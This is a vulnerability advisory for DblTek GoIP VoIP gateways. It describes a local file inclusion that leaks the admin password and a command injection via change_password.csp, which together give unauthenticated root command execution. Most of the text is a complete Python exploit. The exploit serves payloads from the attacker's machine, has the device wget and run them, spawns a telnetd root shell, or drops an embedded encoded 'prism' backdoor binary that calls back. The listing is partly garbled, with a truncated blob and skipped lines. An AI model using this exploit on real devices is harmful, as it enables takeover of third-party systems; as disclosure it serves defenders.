

SSD Advisory – DblTek Multiple Vulnerabilities

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Vulnerabilities summary

The following advisory describes 2 (two) vulnerabilities found in DblTek webserver.

DBL is “specialized in VoIP products, especially GoIPs. We design, develop, manufacture, and sell our products directly and via distributors to customers. Our GoIP models now cover 1, 4, 8, 16, and 32-channel in order to meet the wide range of market demands. All our products are priced very attractively and probably the lowest in the market. Because of the price and performance, GoIPs have been widely adopted by system integrators, VoIP service providers, and many other business and individual users.”

The vulnerabilities found are:

- Pre-authentication Information Disclosure
- Command Execution

It is possible to combine the 2 vulnerabilities and gain unauthenticated remote command execution.

Credit

An independent security researcher has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response

DblTek has released patches to address those vulnerabilities.

Vulnerabilities details

User controlled input is not sufficiently sanitized and can trigger Local File Inclusion.

By sending GET request to `/dev/mtdblock/5` an attacker can download the configuration file that contain admin password:

```
1 GET /default/en_US/frame.html?content=/dev/mtdblock/5
```

After we got the admin password, we can send a POST request to `change_password.csp` and trigger the second vulnerability.

User controlled input is not sufficiently sanitized when pass to `change_password.csp`. An attacker can inject script containing malicious commands in a configuration variable and execute it.

```
1 POST /default/en_US/change_password.csp
2 Content-Type: application/x-www-form-urlencoded
3 Authorization: Basic ###BASE64("admin", ###LEAKED_PASSWORD###)###
4 level=user&user_level_enable=on&passwd=<%>%25call system.exec: ###MALICIOUS_COMMAND###>
```

Proof of Concept

Unauthenticated Remote Command Execution:

```
1 #!/usr/bin/python3
2
```

```
3   from http.server import BaseHTTPRequestHandler, HTTPServer
4   import os, sys, base64, bz2, socket, argparse, threading, requests, re
5
6   PAYLOAD0 = "#!/bin/sh
7   rm -f /tmp/y
8   /bin/busybox telnetd -l /bin/sh -p %d &
9   "
10
11  PAYLOAD1 = "#!/bin/sh
12  rm -f /tmp/y /tmp/p
13  wget -O /tmp/p http://%s:%d/prism
14  chmod 755 /tmp/p
15  /tmp/p
16  "
17
18  class Handler(BaseHTTPRequestHandler):
19      PRISM_PORT = 1337
20      TELNET_PORT = 23
21
22      def do_GET(self):
23          if self.path == '/0':
24              self.send_response(200)
25              self.send_header('Content-type', 'text/plain')
26              self.end_headers()
27              payload = PAYLOAD0 % Handler.TELNET_PORT
28              self.wfile.write(payload.encode())
29              return
30          if self.path == '/1':
31              self.send_response(200)
32              self.send_header('Content-type', 'text/plain')
33              self.end_headers()
34              payload = PAYLOAD1 % (Handler.HTTP_ADDR, Handler.HTTP_PORT)
35              self.wfile.write(payload.encode())
36              return
37          if self.path == '/prism':
38              self.send_response(200)
39              self.send_header('Content-type', 'octet/stream')
40              self.end_headers()
41              self.wfile.write(prism(Handler.HTTP_ADDR, Handler.PRISM_PORT))
42              return
43          self.send_response(404)
44
45      def log_message(self, format, *args):
46          print(' -- SERVING ' + format % args)
47
48  class Server(threading.Thread):
49      def __init__(self, addr='0.0.0.0', port=8080):
50          threading.Thread.__init__(self)
51          Handler.HTTP_ADDR = addr
52          Handler.HTTP_PORT = port
53          self.httpd = HTTPServer((addr, port), Handler)
```

```
54
55     def set(mime, data):
56         self.RequestHandlerClass.mime = mime
57         self.RequestHandlerClass.data = data
58
59     def run(self):
60         print(' - Starting server http://%s:%s' % self.httpd.socket.getsockname())
61         self.httpd.serve_forever()
62
63     def stop(self):
64         print(' - Stopping server')
65         self.httpd.shutdown()
66
67     def prism(host, port):
68         pyfile = open(os.path.realpath(__file__), 'r')
69         data, skip = "", True
70         for line in pyfile:
71             if skip and line != "    PRISM ARM V5L\n":
72                 continue
73             if line == "\n":
74                 break
75             if not skip:
76                 data += line.strip()
77             skip = False
78         port = str(port)
79         bhost = host.encode() + (b'\0' * (16 - len(host)))
80         bport = port.encode() + (b'\0' * (6 - len(port)))
81         binary = bytearray(bz2.decompress(base64.b64decode(data)))
82         binary[0x7810:0x7810+16] = bhost
83         binary[0x7820:0x7820+6] = bport
84         return binary
85
86     def getip(host):
87         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
88         s.connect((host, 1337))
89         return s.getsockname()[0]
90
91     def get(url):
92         print(' -- GET %s' % url)
93         response = requests.get(url)
94         return response.text
95
96     def post(url, password, data):
97         print(' -- POST %s' % url)
98         header = { 'Content-Type': 'application/x-www-form-urlencoded' }
99         auth = requests.auth.HTTPBasicAuth('admin', password)
100        response = requests.post(url, auth=auth, data=data, headers=header)
101        return response.text
102
103    def attack_leak(target, variable):
104        print(' - Dumping configuration (variable=%s)' % variable)
```

```
105 config = get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)
106 m = re.search(r'%s="(.*")' % variable, config)
107 if not m:
108     print('Cannot leak variable %s :(' % variable)
109     sys.exit(1)
110 return m.group(1)
111
112 def attack_exec(target, password, command):
113     print(' - Executing "%s"' % command)
114     argv = ', '.join(command.split())
115     data = 'level=user&user_level_enable=on&passwd=<%>%25call system.exec: %s>' % argv
116     post('http://%s/default/en_US/change_password.csp' % target, password, data)
117     get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)
118
119 # Parsing attacker input
120 parser = argparse.ArgumentParser(description='DBLTek Unauthenticated Pre-Auth RCE as root', epilog="\"\"\"")
121 Available modes are:
122
123 1 - Use telnetd on port %d
124 2 - Use prism daemon with port %d
125 """ % (Handler.TELNET_PORT, Handler.PRISM_PORT), formatter_class=argparse.RawTextHelpFormatter)
126 parser.add_argument('-a', '--addr', dest='addr', type=str, default=None, help="http server address")
127 parser.add_argument('-p', '--port', dest='port', type=int, default=8080, help="http server port (default: 8080)")
128 parser.add_argument('-m', '--mode', dest='mode', type=int, default=0, help="attack mode (default 0)")
129 parser.add_argument('target')
130
131 args = parser.parse_args(sys.argv[1:])
132
133 # Get local address based on target address and routes
134 myaddr = getip(args.target)
135 myport = args.port
136
137 # Start payload delivery server
138 server = Server(args.addr or myaddr, myport)
139 server.start()
140
141 try:
142     # Leak ADMIN_PASSWORD
143     password = attack_leak(args.target, 'ADMIN_PASSWORD')
144     print(" -- ADMIN_PASSWORD = '%s'" % password)
145
146     attack_exec(args.target, password, "/bin/wget -O /tmp/y http://%s:%d/%d" % (myaddr, myport, args.mode))
147     attack_exec(args.target, password, "/bin/sh /tmp/y")
148
149     print("\"\"\" - Use these commands to wipe:
150 -- > setsyscfg USER_PASSWORD=
151 -- > setsyscfg USER_LEVEL_ENABLE=0\"\"\"")
152
153 if args.mode == 0:
154     print(" - Telnet to %s port %d" % (args.target, Handler.TELNET_PORT))
155     os.system("telnet %s %d" % (args.target, Handler.TELNET_PORT))
```

```
156     if args.mode == 1:
157         print(" - Listen on %s:%d (wait 15 seconds at least)" % (myaddr, Handler.PRISM_PORT))
158         os.system("nc -l -p %d" % Handler.PRISM_PORT)
159
160     except RuntimeError as e:
161         print(" - Failed :(")
162         pass
163
164     # Stop payload delivery server
165     server.stop()
166     server.join()
167
168
169     """ PRISM ARM V5L
170     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
```

207 uuugtaR47EJQwQhtLcy707tdTQ1Pdey1fc4+V5Pk5Q7/ejhHtWxxE84dLccKTKNFzRzIEM+LxhdDC
208 h5g9aKgVnR7BeB5jfvtJOQGq+yilQo0KnSPiZxljilufUcxW4swFRMnjwRUJPt5MZFeQ6PcneU
209 cF8kwyHYnBtuQ2u7HKt8lISBtUbnV3fa3yOMefyPNn7fiaNfraUi+QwOLz/ocb4IKJC5XN3HylfK
210 A5KBO9txASV4aMIHsH5pd3Qc6iJr1HdqVBgZZ1OpARFOUkyeR4dQw6gpFUmSgVrOI6tW0Ahs19RY
211 qciolkSfLpVRSqCrtdeb3DD0JrhdVre1/16ujdzffLK1iydz7VB5UgCko76GOjUu4yZ6ZGy1tauN
212 KWUsSZsmitsz5YuyTfJ5wOLphfMwpHacEDJgmxW+e4PWkf27Psh673EPK4J94/w2Bs/o2ZnRfz
213 fqfyfp1DxBiesubY/hxkpVTE1ZA5bOwHlcxzRVVBLbZMAQ+SpkXJaFUKypFKzWiZG3Y44VCFN0A
214 LB25dLqvf/VotZ2FXJz6diTBTrim/7DFhAi8/qR7rGDbASIKUIPrFGGRtNJo8iZ1QMDe3ZzenD49
215 A6Ot0D1eT2nPkb4zcQ2FyE5xbuu3TQBhf099RcmG31Oz01yDi7zR1jtHGmsOyKOphuB5cWgGjlBg
216 9dXad7zlj3yCqCeieBSPMkitJq1yINDKC8t/pNG60B4TQoaPGsUljbwtC8VhTx8sobqzHKy6pDh
217 IF5bRQdGldodH3RRaTL+J0XEXHphZCyOMXmJbFsPYej19mx1aufQEDsTubhXWkZtXfeBPvRih027
218 p3MBnf5Le0IOyqHRpRyZhWs8JfMn8d8RprBjVI0cHCiaW6Y3yJQBERVytZrCEp+zmaxUmvD49NT
219 2WB2b4jPGZp8Q2eF4dUH5reGIL0IF4OxD0h9+2ISdB5RjxSJwWhoaps6AEsxhkrSaPjnKZLqVSi
220 GzIGZaO4QIEKBCRqjiNMZQJ5q9+gwNcvReOCpg1KuflgSMoOvg570Sp5sllnnIRTfXIIDouuWY4C
221 cQ7S5REcsjyRngpzZGkjWRppyLwSgcSWynlw1KDB2jo3bxSjZzBlzeAvmatNbnaNgb7WP4MJelj
222 re+ydDKRqXEekOZJERgeUpASJ+2RQLj7xsPWtndUDkchx93IQYX+Wvh8BZVjqFdIH+nqOJqzRQp92
223 X19ZIFX3mwU9y6GnfHTCHsxVRYQa4IFgl1AV4s+nC3UD2AvhhLhZ4XQb/0TdDhBdBiFLFNJPtxu
224 FSCZbNd1lnuNym9dpNHS/clynzSA6MZ0ozmITpBZkZMHIBGHBC1oCGECvgq69k40Xd8Bc2a3y0Q
225 jeRAkrypZG06xO7y whole string continues...

258 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